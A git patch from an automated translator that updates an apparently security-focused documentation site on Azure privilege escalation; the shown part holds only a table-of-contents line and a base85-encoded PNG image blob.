From b97dcaacd8b098e158bfbd3b53d29b6ae3f420c7 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 9 May 2025 11:19:41 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation --- src/SUMMARY.md | 1 + src/images/lasttower.png | Bin 0 -> 70062 bytes .../az-app-services-privesc.md | 324 ++++---- .../az-services/az-app-services.md | 27 +- .../az-services/az-function-apps.md | 82 +- theme/elasticlunr.min.js | 10 + theme/ht_searcher.js | 720 ++++-------------- 7 files changed, 399 insertions(+), 765 deletions(-) create mode 100644 src/images/lasttower.png create mode 100644 theme/elasticlunr.min.js diff --git a/src/SUMMARY.md b/src/SUMMARY.md index a470914ae..17225a2e2 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -425,6 +425,7 @@ - [Az - Key Vault](pentesting-cloud/azure-security/az-services/az-keyvault.md) - [Az - Logic Apps](pentesting-cloud/azure-security/az-services/az-logic-apps.md) - [Az - Management Groups, Subscriptions & Resource Groups](pentesting-cloud/azure-security/az-services/az-management-groups-subscriptions-and-resource-groups.md) + - [Az - Misc](pentesting-cloud/azure-security/az-services/az-misc.md) - [Az - Monitoring](pentesting-cloud/azure-security/az-services/az-monitoring.md) - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql.md) - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql.md) diff --git a/src/images/lasttower.png b/src/images/lasttower.png new file mode 100644 index 0000000000000000000000000000000000000000..61b1978109dbbef3f13164aef900d6ec39a0206c GIT binary patch literal 70062 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 